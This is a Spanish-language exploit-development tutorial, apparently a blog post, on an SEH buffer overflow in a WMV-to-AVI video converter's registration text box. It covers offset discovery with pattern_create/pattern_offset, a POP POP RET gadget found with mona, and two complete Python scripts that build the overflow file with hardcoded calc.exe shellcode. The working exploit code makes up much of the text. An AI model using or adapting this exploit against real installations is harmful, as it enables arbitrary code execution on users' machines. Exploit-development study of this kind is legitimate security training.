Vulnerabilidad de WMV to AVI MPEG DVD WMV Convertor
Vamos a vulnerar una aplicación que es un convertidor de video, está vulnerabilidad fue encontrada en el 2019
https://www.exploit-db.com/exploits/47568
Al parecer hay una vulnerabilidad en una caja de texto en el registro de la app, vamos a vulnerarla usando mona y pattern_create y pattern_offset
Hagamos un pattern de 1000 bytes y oprimamos alt + S para ver la ventana de SEH y veamos como se vulnera la app.

Con pattern_offset encontramos que son 780 bytes
Busquemos con mona seh si hay algun POP POP RET accesible para brincar a ESP ya que un overflow directo a ESP no se encontró ninguno.

Ok, usando !mona seh encontramos un pop pop ret utilizable (0x10037859)
Mandemos los básico, "AAAA", "BBBB" para sobreescribir SEH

Coloquemos un break en el pop pop ret y después continuemos paso a paso para ver que pasa



podemos ver que avanza perfectamente
Ahora hagamos un script para colocar una shell que ejecute calc.exe
payload = "A"*780
payload += "\xeb\x0c\x90\x90"
payload += "\x59\x78\x03\x10"
padding = "D"*(1100 - len(payload))
calc = "\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe0\x41\x51\x50\xbb\x10\x52\x25\x76\xff\xd3\x31\xc0\x50\xb8\xe0\x73\x21\x76\xff\xd0"
exploit = payload + calc + padding
File = 'para_wmv.txt'
f = open(File, 'w')
f.write(exploit)
f.close()

Podemos ver que avanza pero hay un problema, esta mal establecido, faltan algunos bytes y habrá que alinearlo, asi qué agregaremos algunos NOP's.

payload = "A"*780
payload += "\xeb\x0c\x90\x90"
payload += "\x59\x78\x03\x10"
padding = "D"*(1100 - len(payload))
calc = "\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe0\x41\x51\x50\xbb\x10\x52\x25\x76\xff\xd3\x31\xc0\x50\xb8\xe0\x73\x21\x76\xff\xd0"
exploit = payload + "\x90\x90\x90\x90\x90\x90\x90" + calc + padding
File = 'para_wmv.txt'
f = open(File, 'w')
f.write(exploit)
f.close()
Listo, veamos que pasa.

Listo.